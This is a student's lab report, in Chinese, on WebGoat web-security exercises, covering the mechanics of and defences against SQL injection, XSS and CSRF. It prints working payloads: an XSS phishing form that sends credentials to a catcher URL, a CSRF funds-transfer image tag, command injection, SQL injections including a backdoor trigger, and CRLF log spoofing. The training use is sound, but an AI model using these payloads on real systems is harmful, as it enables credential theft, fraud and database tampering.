Exp9 Web安全基礎

實驗前回答問題

(1)SQL注入攻擊原理,如何防護

  • SQL注入產生的緣由,和棧溢出、XSS等不少其餘的攻擊方法相似,就是未經檢查或者未經充分檢查的用戶輸入數據,意外變成了代碼被執行。針對於SQL注入,則是用戶提交的數據,被數據庫系統編譯而產生了開發者預期以外的動做。也就是,SQL注入是用戶輸入的數據,在拼接SQL語句的過程當中,超越了數據自己,成爲了SQL語句查詢邏輯的一部分,而後這樣被拼接出來的SQL語句被數據庫執行,產生了開發者預期以外的動做。javascript

    解決辦法

  • 從根本上防止上述類型攻擊的手段,仍是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來講,被執行的惡意代碼是經過數據庫的SQL解釋引擎編譯獲得的,因此只要避免用戶輸入的數據被數據庫系統編譯就能夠了。java

(2)XSS攻擊的原理,如何防護

  • XSS攻擊是Web攻擊中最多見的攻擊方法之一,它是經過對網頁注入可執行代碼且成功地被瀏覽器
    執行,達到攻擊的目的,造成了一次有效XSS攻擊,一旦攻擊成功,它能夠獲取用戶的聯繫人列
    表,而後向聯繫人發送虛假詐騙信息,能夠刪除用戶的日誌等等,有時候還和其餘攻擊方式同時實
    施好比SQL注入攻擊服務器和數據庫、Click劫持、相對連接劫持等實施釣魚,它帶來的危害是巨
    大的,是web安全的頭號大敵web

    解決方法

  • 一種方法是在表單提交或者url參數傳遞前,對須要的參數進行過濾.
  • 過濾用戶輸入的 檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、」(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。、嚴格控制輸出sql

(3)CSRF攻擊原理,如何防護

  • CSRF概念:CSRF跨站點請求僞造(Cross—Site Request Forgery),跟XSS攻擊同樣,存在巨大的危害性,你能夠這樣來理解:
    攻擊者盜用了a的身份,以a的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做,好比以a的名義發送郵件、發消息,盜取a的帳號,添加系統管理員,甚至於購買商品、虛擬貨幣轉帳等。數據庫

    解決辦法:

  • 目前防護 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證。django

WebGoat進行實驗

  • WebGoat使用8080端口,在瀏覽器上訪問localhost:8080/WebGoat,進入WebGoat。

練習題目:

1.Phishing with XSS (網路釣魚)

2.Stored XSS Attacks (存儲型xss攻擊)

3.Reflected XSS Attacks(非存儲型xss攻擊,反射型)

4.Cross Site Request Forgery

5.CSRF Prompt By-Pass

6.Command Injection

7.Numeric SQL Injection

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

9.Database Backdoors

10.Log Spoofing

XSS練習

1.Phishing with XSS (網路釣魚)

  • 本題要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,而且將這些信息發送給http://localhost:8080/那一段,完整的XSS攻擊代碼以下:瀏覽器

    </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
  • 在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單,如圖所示:
  • 而後隨便填一下,提交
  •  

  • 這就是傳數據回來了,攻擊成功
  • 2.Stored XSS Attacks (存儲型xss攻擊)

    這個就有點弱雞了,建立非法的消息內容,致使其餘用戶訪問時載入非預期的頁面或內容,這個和實驗八里面差很少,就message中輸入一串代碼好比<script>alert("you have been died");</script>,而後提交後就蹦出來代碼了
  • 3.Reflected XSS Attacks(非存儲型xss攻擊,反射型)

  • 當輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現,好比下面這個購物車:
  • 這時若是咱們將帶有攻擊性的URL做爲輸入源,在zx那裏輸入<script>alert("lalala");</script>,就會彈出對話框:

第2個和第3個效果相同可是原理不一樣

  • 存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等。安全

  • 反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
    點擊彈出本身的在該網站的cookie:服務器

CSRF攻擊

4.Cross Site Request Forgery

  • 目的:寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
  • 在message框中輸入代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>,其中Screen和menu在當前頁面的右邊Parameters進行查看:
  • 提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。

5.CSRF Prompt By-Pass

  • 包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)
    先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100進入確認轉帳請求頁面
  • 轉帳請求
  • 點擊CONFIRM按鈕,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功轉走了100元:
  • 確認轉帳成功

Injection Flaws訓練

6.Command Injection

  • 在目標主機上執行系統命令,經過火狐瀏覽器下的Firebug對源代碼進行修改,在BackDoors.help旁邊加上"& netstat -an & ipconfig":
  • 以後在下拉菜單中能看到修改後的值
  • 選中修改後的值再點view,出現系統網絡鏈接狀況:

7.Numeric SQL Injection

  • 經過注入SQL字符串的方式查看全部的天氣數據,加上一個1=1這種永真式便可達到目的,在任意一個值好比101旁邊加上or 1=1
  • 選中Columbia,點Go,能夠看到全部天氣數據
  • LAB:SQL Injection(Stage 1:String SQL Injection)

  • 先以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,登陸失敗:
  • 到源代碼裏尋找緣由,發現最大鍵入值有問題,就八位,過小了,改爲30位
  • 再退出,從新登陸,成功

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

先以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile:cookie

  • 在網頁代碼中分析這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個:

  • 從新登陸能夠查看到老闆的信息:

9.Database Backdoors

  • 先輸101,獲得了該用戶的信息:
  • 發現輸入的語句沒有驗證,能夠進行SQL注入,輸入注入語句:101; update employee set salary=200000
  • 攻擊成功
  • 注入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
    表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱。

10.Log Spoofing

  • 輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,在User Name文本框中輸入zx%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符:
  • 攻擊成功

實驗體會

網絡攻防課程結束了,這九次實驗給我最大的體會就是工欲善其事必先利其器這句話。只有把事先的準備作好了,加上耐心細緻的操做,才能作好實驗。

相關文章
相關標籤/搜索